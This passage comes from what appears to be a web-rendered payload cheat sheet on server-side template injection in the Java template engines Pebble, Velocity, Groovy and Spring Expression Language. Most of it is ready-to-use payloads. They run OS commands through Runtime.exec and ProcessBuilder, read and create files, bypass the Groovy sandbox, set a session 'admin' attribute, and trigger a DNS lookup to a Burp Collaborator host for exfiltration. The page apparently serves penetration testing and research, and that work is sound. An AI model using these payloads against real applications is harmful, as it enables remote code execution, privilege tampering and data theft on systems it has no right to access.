<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;</span><span class="n">whoami</span><span class="p">\\\</span><span class="s2">&quot;); x.start()\&quot;</span><span class="p">)}}</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;</span><span class="n">netstat</span><span class="p">\\\</span><span class="s2">&quot;); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\&quot;</span><span class="p">)}}</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="p">{{</span><span class="s1">&#39;a&#39;</span><span class="p">.</span><span class="n">getClass</span><span class="p">().</span><span class="n">forName</span><span class="p">(</span><span class="s1">&#39;javax.script.ScriptEngineManager&#39;</span><span class="p">).</span><span class="n">newInstance</span><span class="p">().</span><span class="n">getEngineByName</span><span class="p">(</span><span class="s1">&#39;JavaScript&#39;</span><span class="p">).</span><span class="n">eval</span><span class="p">(\</span><span class="s2">&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;</span><span class="n">uname</span><span class="p">\\\</span><span class="s2">&quot;,\\\&quot;</span><span class="n">-a</span><span class="p">\\\</span><span class="s2">&quot;); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\&quot;</span><span class="p">)}}</span>
</code></pre></div>
<hr />
<h2 id="pebble">Pebble</h2>
<p><a href="https://pebbletemplates.io/">Official website</a></p>
<blockquote>
<p>Pebble is a Java templating engine inspired by <a href="./#twig">Twig</a> and similar to the Python <a href="./#jinja2">Jinja</a> Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.</p>
</blockquote>
<h3 id="pebble-basic-injection">Pebble - Basic Injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">{{</span><span class="w"> </span><span class="n">someString</span><span class="p">.</span><span class="na">toUPPERCASE</span><span class="p">()</span><span class="w"> </span><span class="p">}}</span>
</code></pre></div>
<h3 id="pebble-code-execution">Pebble - Code Execution</h3>
<p>Old version of Pebble ( &lt; version 3.0.9): <code>{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}</code>.</p>
<p>New version of Pebble :</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="err">&#39;</span><span class="n">id</span><span class="err">&#39;</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p">{</span><span class="o">%</span><span class="w"> </span><span class="n">set</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">)</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="w"> </span><span class="p">.</span><span class="na">methods</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="w"> </span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="kc">null</span><span class="p">)</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="w"> </span><span class="p">.</span><span class="na">exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="w"> </span><span class="p">.</span><span class="na">inputStream</span>
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="w"> </span><span class="p">.</span><span class="na">readAllBytes</span><span class="p">()</span><span class="w"> </span><span class="o">%</span><span class="p">}</span>
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a><span class="p">{{</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="na">TYPE</span>
<a id="__codelineno-11-10" name="__codelineno-11-10" href="#__codelineno-11-10"></a><span class="w"> </span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">String</span><span class="err">&#39;</span><span class="p">)</span>
<a id="__codelineno-11-11" name="__codelineno-11-11" href="#__codelineno-11-11"></a><span class="w"> </span><span class="p">.</span><span class="na">constructors</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span>
<a id="__codelineno-11-12" name="__codelineno-11-12" href="#__codelineno-11-12"></a><span class="w"> </span><span class="p">.</span><span class="na">newInstance</span><span class="p">((</span><span class="o">[</span><span class="n">bytes</span><span class="o">]</span><span class="p">).</span><span class="na">toArray</span><span class="p">())</span><span class="w"> </span><span class="p">}}</span>
</code></pre></div>
<hr />
<h2 id="velocity">Velocity</h2>
<p><a href="https://velocity.apache.org/engine/1.7/user-guide.html">Official website</a></p>
<blockquote>
<p>Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="c1">#set($str=$class.inspect(&quot;java.lang.String&quot;).type)</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="c1">#set($chr=$class.inspect(&quot;java.lang.Character&quot;).type)</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="c1">#set($ex=$class.inspect(&quot;java.lang.Runtime&quot;).type.getRuntime().exec(&quot;whoami&quot;))</span>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="err">$</span><span class="n">ex</span><span class="o">.</span><span class="n">waitFor</span><span class="p">()</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="c1">#set($out=$ex.getInputStream())</span>
<a id="__codelineno-12-6" name="__codelineno-12-6" href="#__codelineno-12-6"></a><span class="c1">#foreach($i in [1..$out.available()])</span>
<a id="__codelineno-12-7" name="__codelineno-12-7" href="#__codelineno-12-7"></a><span class="err">$</span><span class="nb">str</span><span class="o">.</span><span class="n">valueOf</span><span class="p">(</span><span class="err">$</span><span class="nb">chr</span><span class="o">.</span><span class="n">toChars</span><span class="p">(</span><span class="err">$</span><span class="n">out</span><span class="o">.</span><span class="n">read</span><span class="p">()))</span>
<a id="__codelineno-12-8" name="__codelineno-12-8" href="#__codelineno-12-8"></a><span class="c1">#end</span>
</code></pre></div>
<hr />
<h2 id="groovy">Groovy</h2>
<p><a href="https://groovy-lang.org/">Official website</a></p>
<h3 id="groovy-basic-injection">Groovy - Basic injection</h3>
<p>Refer to https://groovy-lang.org/syntax.html , but <code>${9*9}</code> is the basic injection.</p>
<h3 id="groovy-read-file">Groovy - Read File</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">&#39;c:/windows/notepad.exe&#39;</span><span class="o">).</span><span class="na">text</span><span class="o">}</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">$</span><span class="o">{</span><span class="n">String</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s1">&#39;/path/to/file&#39;</span><span class="o">).</span><span class="na">getText</span><span class="o">(</span><span class="s1">&#39;UTF-8&#39;</span><span class="o">)}</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">File</span><span class="o">(</span><span class="s2">&quot;C:\Temp\FileName.txt&quot;</span><span class="o">).</span><span class="na">createNewFile</span><span class="o">();}</span>
</code></pre></div>
<h3 id="groovy-http-request">Groovy - HTTP Request</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;http://www.google.com&quot;</span><span class="o">.</span><span class="na">toURL</span><span class="o">().</span><span class="na">text</span><span class="o">}</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">URL</span><span class="o">(</span><span class="s2">&quot;http://www.google.com&quot;</span><span class="o">).</span><span class="na">getText</span><span class="o">()}</span>
</code></pre></div>
<h3 id="groovy-command-execution">Groovy - Command Execution</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">.</span><span class="na">exec</span><span class="o">()}</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">$</span><span class="o">{</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">.</span><span class="na">execute</span><span class="o">()}</span>
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="n">$</span><span class="o">{</span><span class="k">this</span><span class="o">.</span><span class="na">evaluate</span><span class="o">(</span><span class="s2">&quot;9*9&quot;</span><span class="o">)</span><span class="w"> </span><span class="c1">//(this is a Script class)}</span>
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="n">$</span><span class="o">{</span><span class="k">new</span><span class="w"> </span><span class="n">org</span><span class="o">.</span><span class="na">codehaus</span><span class="o">.</span><span class="na">groovy</span><span class="o">.</span><span class="na">runtime</span><span class="o">.</span><span class="na">MethodClosure</span><span class="o">(</span><span class="s2">&quot;calc.exe&quot;</span><span class="o">,</span><span class="s2">&quot;execute&quot;</span><span class="o">).</span><span class="na">call</span><span class="o">()}</span>
</code></pre></div>
<h3 id="groovy-sandbox-bypass">Groovy - Sandbox Bypass</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="nd">@ASTTest</span><span class="o">(</span><span class="n">value</span><span class="o">={</span><span class="k">assert</span><span class="w"> </span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="s2">&quot;whoami&quot;</span><span class="o">)})</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="kt">def</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">}</span>
</code></pre></div>
<p>or</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">$</span><span class="o">{</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">groovy</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">GroovyClassLoader</span><span class="o">().</span><span class="na">parseClass</span><span class="o">(</span><span class="s2">&quot;@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;)})def x&quot;</span><span class="o">)</span><span class="w"> </span><span class="o">}</span>
</code></pre></div>
<hr />
<h2 id="spring-expression-language">Spring Expression Language</h2>
<p><a href="https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html">Official website</a></p>
<blockquote>
<p>The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.</p>
</blockquote>
<h3 id="spel-basic-injection">SpEL - Basic Injection</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="n">$</span><span class="p">{</span><span class="mi">7</span><span class="o">*</span><span class="mi">7</span><span class="p">}</span>
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">$</span><span class="p">{</span><span class="err">&#39;</span><span class="n">patt</span><span class="err">&#39;</span><span class="p">.</span><span class="na">toString</span><span class="p">().</span><span class="na">replace</span><span class="p">(</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="w"> </span><span class="sc">&#39;x&#39;</span><span class="p">)}</span>
</code></pre></div>
<h3 id="spel-dns-exfiltration">SpEL - DNS Exfiltration</h3>
<p>DNS lookup</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">$</span><span class="p">{</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.net.InetAddress&quot;</span><span class="p">).</span><span class="na">getMethod</span><span class="p">(</span><span class="s">&quot;getByName&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">()).</span><span class="na">invoke</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">,</span><span class="s">&quot;xxxxxxxxxxxxxx.burpcollaborator.net&quot;</span><span class="p">)}</span>
</code></pre></div>
<h3 id="spel-session-attributes">SpEL - Session Attributes</h3>
<p>Modify session attributes</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">$</span><span class="p">{</span><span class="n">pageContext</span><span class="p">.</span><span class="na">request</span><span class="p">.</span><span class="na">getSession</span><span class="p">().</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;admin&quot;</span><span class="p">,</span><span class="kc">true</span><span class="p">)}</span>
</code></pre></div>
<h3 id="spel-command-execution">SpEL - Command Execution</h3>
<ul>
<li>
<p>Method using <code>java.lang.Runtime</code> #1 - accessed with JavaClass
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">$</span><span class="p">{</span><span class="n">T</span><span class="p">(</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">&quot;COMMAND_HERE&quot;</span><span class="p">)}</span>
</code></pre></div></p>
</li>
<li>
<p>Method using <code>java.lang.Runtime</code> #2
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime&quot;</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">)}</span>
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">).</span><span class="na">setAccessible</span><span class="p">(</span><span class="kc">true</span><span class="p">)}</span>
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="err">#</span><span class="p">{</span><span class="n">session</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;rtc&quot;</span><span class="p">).</span><span class="na">getRuntime</span><span class="p">().</span><span class="na">exec</span><span class="p">(</span><span class="s">&quot;/bin/bash -c whoami&quot;</span><span class="p">)}</span>
</code></pre></div></p>
</li>
<li>
<p>Method using <code>java.lang.Runtime</code> #3 - accessed with <code>invoke</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">$</span><span class="p">{</span><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">).</span><span class="na">getMethods</span><span class="p">()</span><span class="o">[</span><span class="mi">6</span><span class="o">]</span><span class="p">.</span><span class="na">invoke</span><span class="p">(</span><span class="err">&#39;&#39;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="err">&#39;</span><span class="n">java</span><span class="p">.</span><span class="na">lang</span><span class="p">.</span><span class="na">Runtime</span><span class="err">&#39;</span><span class="p">)).</span><span class="na">exec</span><span class="p">(</span><span class="err">&#39;</span><span class="n">COMMAND_HERE</span><span class="err">&#39;</span><span class="p">)}</span>
</code></pre></div></p>
</li>
<li>
<p>Method using <code>java.lang.Runtime</code> #3 - accessed with <code>javax.script.ScriptEngineManager</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;javax.script.ScriptEngineManager&quot;</span><span class="p">).</span><span class="na">newInstance</span><span class="p">().</span><span class="na">getEngineByName</span><span class="p">(</span><span class="s">&quot;js&quot;</span><span class="p">).</span><span class="na">eval</span><span class="p">(</span><span class="s">&quot;java.lang.Runtime.getRuntime().exec(\\\&quot;ping x.x.x.x\\\&quot;)&quot;</span><span class="p">))}</span>
</code></pre></div></p>
</li>
<li>
<p>Method using <code>java.lang.ProcessBuilder</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.util.ArrayList&quot;</span><span class="p">).</span><span class="na">newInstance</span><span class="p">())}</span>
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;cmd.exe&quot;</span><span class="p">)}</span>
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;/k&quot;</span><span class="p">)}</span>
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">).</span><span class="na">add</span><span class="p">(</span><span class="s">&quot;ping x.x.x.x&quot;</span><span class="p">)}</span>
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">setAttribute</span><span class="p">(</span><span class="s">&quot;a&quot;</span><span class="p">,</span><span class="s">&quot;&quot;</span><span class="p">.</span><span class="na">getClass</span><span class="p">().</span><span class="na">forName</span><span class="p">(</span><span class="s">&quot;java.lang.ProcessBuilder&quot;</span><span class="p">).</span><span class="na">getDeclaredConstructors</span><span class="p">()</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span><span class="p">.</span><span class="na">newInstance</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;c&quot;</span><span class="p">)).</span><span class="na">start</span><span class="p">())}</span>
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="n">$</span><span class="p">{</span><span class="n">request</span><span class="p">.</span><span class="na">getAttribute</span><span class="p">(</span><span class="s">&quot;a&quot;</span><span class="p">)}</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/">Server Side Template Injection on the example of Pebble - Michał Bentkowski - September 17, 2019</a></li>
<li><a href="https://gist.github.com/Yas3r/7006ec36ffb987cbfb98">Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015</a></li>
<li><a href="https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf">Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015</a></li>
<li><a href="https://www.youtube.com/watch?v=3cT0uE7Y87s">Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015</a></li>
<li><a href="https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/">VelocityServlet Expression Language injection - MagicBlue - November 15, 2017</a></li>
<li><a href="https://securitylab.github.com/research/bean-validation-RCE">Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020</a></li>
<li><a href="https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/">Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022</a></li>
<li><a href="https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection">Expression Language Injection - OWASP - December 4, 2019</a></li>
<li><a href="https://portswigger.net/kb/issues/00100f20_expression-language-injection">Expression Language injection - PortSwigger - January 27, 2019</a></li>
<li><a href="https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/">Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021</a></li>
<li><a href="https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html">RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018</a></li>
<li><a href="https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf">Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019</a></li>
</ul>
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